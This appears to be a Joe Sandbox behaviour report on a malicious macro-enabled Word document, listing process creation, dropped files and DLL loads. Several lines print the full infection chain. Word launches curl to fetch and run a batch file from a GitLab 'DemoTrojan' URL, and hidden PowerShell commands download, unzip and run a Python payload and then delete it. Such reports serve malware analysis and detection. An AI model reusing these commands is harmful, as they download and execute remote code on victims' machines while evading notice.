Source: APASixthEditionOfficeOnline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{3D287D58-E3D6-4538-B091-AC430580DD6C}.tmp.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: sist02.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ieee2006officeonline.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: iso690.xsl.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: Joe Sandbox View	Dropped File: C:\Users\Public\DLLs\_asyncio.pyd CF0EDFD508D11BFFB63D1B104B6099E0F14EA0FADA762F88364E7163F2185F06
Source: Joe Sandbox View	Dropped File: C:\Users\Public\DLLs\_bz2.pyd 4C2649DC69A8874B91646723AACB84C565EFEAA4277C46392055BCA9A10497A8

Source: unicodedata.pyd.13.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _overlapped.pyd.13.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _testbuffer.pyd.13.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: classification engine

Classification label: mal100.troj.expl.evad.winDOCM@19/2986@3/4

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Roaming\Microsoft\Office

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7444:120:WilError_03

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{37E6EA90-8463-481A-BAA9-0C9D90D7B13F} - OProcSessId.dat

Jump to behavior

Source: Doc1.docm	OLE indicator, Word Document stream: true
Source: Equations.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	OLE indicator, Word Document stream: true
Source: Element design set.dotx.0.dr	OLE indicator, Word Document stream: true
Source: Insight design set.dotx.0.dr	OLE indicator, Word Document stream: true
Source: ~WRD0002.tmp.0.dr	OLE indicator, Word Document stream: true
Source: ~WRD0000.tmp.0.dr	OLE indicator, Word Document stream: true

Source: Doc1.docm	OLE document summary: title field not present or empty
Source: ~WRF{3D287D58-E3D6-4538-B091-AC430580DD6C}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{3D287D58-E3D6-4538-B091-AC430580DD6C}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{3D287D58-E3D6-4538-B091-AC430580DD6C}.tmp.0.dr	OLE document summary: edited time not present or 0
Source: ~WRD0000.tmp.0.dr	OLE document summary: title field not present or empty

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -L -o C:\Users\user\AppData\Roaming\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/DemoTrojan/real/-/raw/main/Document.zip', 'C:\Users\Public\Document.zip')"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public')"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\python.exe C:\Users\Public\windows.py"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\python.exe "C:\Users\Public\python.exe" C:\Users\Public\windows.py
Source: C:\Users\Public\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c del C:\Users\Public\windows.py
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -L -o C:\Users\user\AppData\Roaming\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/DemoTrojan/real/-/raw/main/Document.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\python.exe C:\Users\Public\windows.py"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c del C:\Users\Public\windows.py	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\python.exe "C:\Users\Public\python.exe" C:\Users\Public\windows.py
Source: C:\Users\Public\python.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"

Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Users\Public\python.exe	Section loaded: python310.dll
Source: C:\Users\Public\python.exe	Section loaded: vcruntime140.dll
Source: C:\Users\Public\python.exe	Section loaded: version.dll
Source: C:\Users\Public\python.exe	Section loaded: cryptsp.dll
Source: C:\Users\Public\python.exe	Section loaded: rsaenh.dll
Source: C:\Users\Public\python.exe	Section loaded: cryptbase.dll
Source: C:\Users\Public\python.exe	Section loaded: iphlpapi.dll
Source: C:\Users\Public\python.exe	Section loaded: libcrypto-1_1.dll
Source: C:\Users\Public\python.exe	Section loaded: libssl-1_1.dll
Source: C:\Users\Public\python.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\python.exe	Section loaded: sqlite3.dll
Source: C:\Users\Public\python.exe	Section loaded: libffi-7.dll
Source: C:\Users\Public\python.exe	Section loaded: pywintypes310.dll
Source: C:\Users\Public\python.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\Public\python.exe	Section loaded: dnsapi.dll
Source: C:\Users\Public\python.exe	Section loaded: rasadhlp.dll
Source: C:\Users\Public\python.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\Public\python.exe	Section loaded: kernel.appcore.dll

Source: Doc1.LNK.0.dr	LNK file: ..\..\..\..\..\Desktop\Doc1.docm
Source: Templates.LNK.0.dr	LNK file: ..\..\Templates

Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/stylesWithEffects.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/theme/_rels/theme1.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/_rels/settings.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/stylesWithEffects.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/itemProps3.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/item3.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item3.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/media/image2.jpg
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/media/image10.jpeg
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml

Source: libcrypto-1_1.dll.13.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.13.dr	Static PE information: section name: .00cfg

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1835	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7883	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1688	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8073	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1362
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 486

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_testcapi.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\tcl86t.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_ctypes_test.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\Cryptodome\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\pip\_vendor\distlib\w64.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Lib\site-packages\charset_normalizer\md.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\DLLs\_testbuffer.pyd	Jump to dropped file
